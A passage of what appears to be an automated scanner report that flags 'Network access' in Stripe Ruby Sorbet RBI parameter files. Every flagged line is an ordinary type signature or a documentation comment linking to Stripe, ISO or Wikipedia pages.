  • Network accessline 174
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 175
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 176
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_informational_params.rbi

  • Network accessline 38
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 39
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 40
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 58
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 59
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 60
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 118
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 119
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 120
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_params.rbi

  • Network accessline 31
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 32
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 33
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 51
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 52
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 53
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 151
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 152
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 153
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 171
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 172
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 173
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 239
    sig { params(_initiated_at: Integer).returns(Integer) }     def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition
  • Network accessline 240
    def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 241
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_params.rbi

  • Network accessline 6
    class PaymentRecordReportPaymentParams < ::Stripe::RequestParams     class AmountRequested < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [suppor
  • Network accessline 7
    class AmountRequested < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { return
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 11
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can
  • Network accessline 12
    def currency=(_currency); end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer
  • Network accessline 13
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 71
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }           def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 72
    def city=(_city); end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 73
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 91
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }           def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    def postal_code=(_postal_code); end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 93
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 216
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 217
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 218
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 236
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 237
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 238
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 323
    sig { params(_initiated_at: Integer).returns(Integer) }     def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition
  • Network accessline 324
    def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 325
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_refund_params.rbi

  • Network accessline 6
    class PaymentRecordReportRefundParams < ::Stripe::RequestParams     class Amount < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curren
  • Network accessline 7
    class Amount < ::Stripe::RequestParams       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String)
  • Network accessline 8
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 11
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can
  • Network accessline 12
    def currency=(_currency); end       # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.       sig { returns(Integer
  • Network accessline 13
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 55
    def initialize(refunded_at: nil); end     end     # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, un
  • Network accessline 56
    end     # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment.     sig { 
  • Network accessline 57
    # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment.
  • Network accessline 72
    sig { params(_initiated_at: T.nilable(Integer)).returns(T.nilable(Integer)) }     def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 73
    def initiated_at=(_initiated_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 74
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_create_params.rbi

  • Network accessline 10
    sig { params(_amount: Integer).returns(Integer) }     def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
  • Network accessline 11
    def amount=(_amount); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 12
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 30
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 31
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 32
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 37
    }     def metadata=(_metadata); end     # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Inst
  • Network accessline 38
    def metadata=(_metadata); end     # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Pa
  • Network accessline 39
    # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/docs/pay

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_reverse_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_update_params.rbi

  • Network accessline 10
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 11
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 12
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/plan_create_params.rbi

  • Network accessline 16
    sig { params(_id: T.nilable(String)).returns(T.nilable(String)) }       def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf
  • Network accessline 17
    def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 35
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor=(_statement_descriptor); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 36
    def statement_descriptor=(_statement_descriptor); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.       sig { returns(T.nilable(String)) }
  • Network accessline 37
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 129
    sig { params(_billing_scheme: T.nilable(String)).returns(T.nilable(String)) }     def billing_scheme=(_billing_scheme); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s
  • Network accessline 130
    def billing_scheme=(_billing_scheme); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) 
  • Network accessline 131
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 154
    sig { params(_interval_count: T.nilable(Integer)).returns(T.nilable(Integer)) }     def interval_count=(_interval_count); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be
  • Network accessline 155
    def interval_count=(_interval_count); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. 
  • Network accessline 156
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 197
    }     def transform_usage=(_transform_usage); end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 198
    def transform_usage=(_transform_usage); end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).     sig { returns(T.nil
  • Network accessline 199
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/plan_update_params.rbi

  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 16
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 17
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 32
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }     def product=(_product); end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#cr
  • Network accessline 33
    def product=(_product); end     # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).     sig { returns(T.nilable(Integer)) }
  • Network accessline 34
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_create_params.rbi

  • Network accessline 76
    }       def custom_unit_amount=(_custom_unit_amount); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provid
  • Network accessline 77
    def custom_unit_amount=(_custom_unit_amount); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th
  • Network accessline 78
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 146
    sig { params(_id: T.nilable(String)).returns(T.nilable(String)) }       def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf
  • Network accessline 147
    def id=(_id); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be
  • Network accessline 148
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 165
    sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) }       def statement_descriptor=(_statement_descriptor); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 166
    def statement_descriptor=(_statement_descriptor); end       # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.       sig { returns(T.nilable(String)) }
  • Network accessline 167
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 204
    sig { params(_meter: T.nilable(String)).returns(T.nilable(String)) }       def meter=(_meter); end       # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#cre
  • Network accessline 205
    def meter=(_meter); end       # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).       sig { returns(T.nilable(Integer)) 
  • Network accessline 206
    # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 286
    sig { params(_billing_scheme: T.nilable(String)).returns(T.nilable(String)) }     def billing_scheme=(_billing_scheme); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s
  • Network accessline 287
    def billing_scheme=(_billing_scheme); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) 
  • Network accessline 288
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 291
    sig { params(_currency: String).returns(String) }     def currency=(_currency); end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html
  • Network accessline 292
    def currency=(_currency); end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/c
  • Network accessline 293
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 315
    sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) }     def lookup_key=(_lookup_key); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for st
  • Network accessline 316
    def lookup_key=(_lookup_key); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 317
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 327
    sig { params(_nickname: T.nilable(String)).returns(T.nilable(String)) }     def nickname=(_nickname); end     # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong 
  • Network accessline 328
    def nickname=(_nickname); end     # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.     sig { returns(T.nilable(String)) }
  • Network accessline 329
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 346
    }     def recurring=(_recurring); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s
  • Network accessline 347
    def recurring=(_recurring); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting
  • Network accessline 348
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_search_params.rbi

  • Network accessline 20
    sig { params(_page: T.nilable(String)).returns(T.nilable(String)) }     def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query 
  • Network accessline 21
    def page=(_page); end     # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for prices](https://docs.stripe.com/search#query-fields-for-price
  • Network accessline 22
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for prices](https://docs.stripe.com/search#query-fields-for-prices).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_update_params.rbi

  • Network accessline 76
    }       def custom_unit_amount=(_custom_unit_amount); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provid
  • Network accessline 77
    def custom_unit_amount=(_custom_unit_amount); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th
  • Network accessline 78
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 114
    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-
  • Network accessline 115
    def active=(_active); end     # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/curre
  • Network accessline 116
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 131
    sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) }     def lookup_key=(_lookup_key); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for st
  • Network accessline 132
    def lookup_key=(_lookup_key); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 133
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 143
    sig { params(_nickname: T.nilable(String)).returns(T.nilable(String)) }     def nickname=(_nickname); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-defa
  • Network accessline 144
    def nickname=(_nickname); end     # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings.
  • Network accessline 145
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_create_params.rbi

  • Network accessline 79
    }         def custom_unit_amount=(_custom_unit_amount); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not pr
  • Network accessline 80
    def custom_unit_amount=(_custom_unit_amount); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in 
  • Network accessline 81
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 154
    def initialize(interval: nil, interval_count: nil); end       end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 155
    end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 156
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 159
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.
  • Network accessline 160
    def currency=(_currency); end       # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs
  • Network accessline 161
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 175
    }       def custom_unit_amount=(_custom_unit_amount); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s
  • Network accessline 176
    def custom_unit_amount=(_custom_unit_amount); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 177
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 189
    }       def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T
  • Network accessline 190
    def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti
  • Network accessline 191
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 256
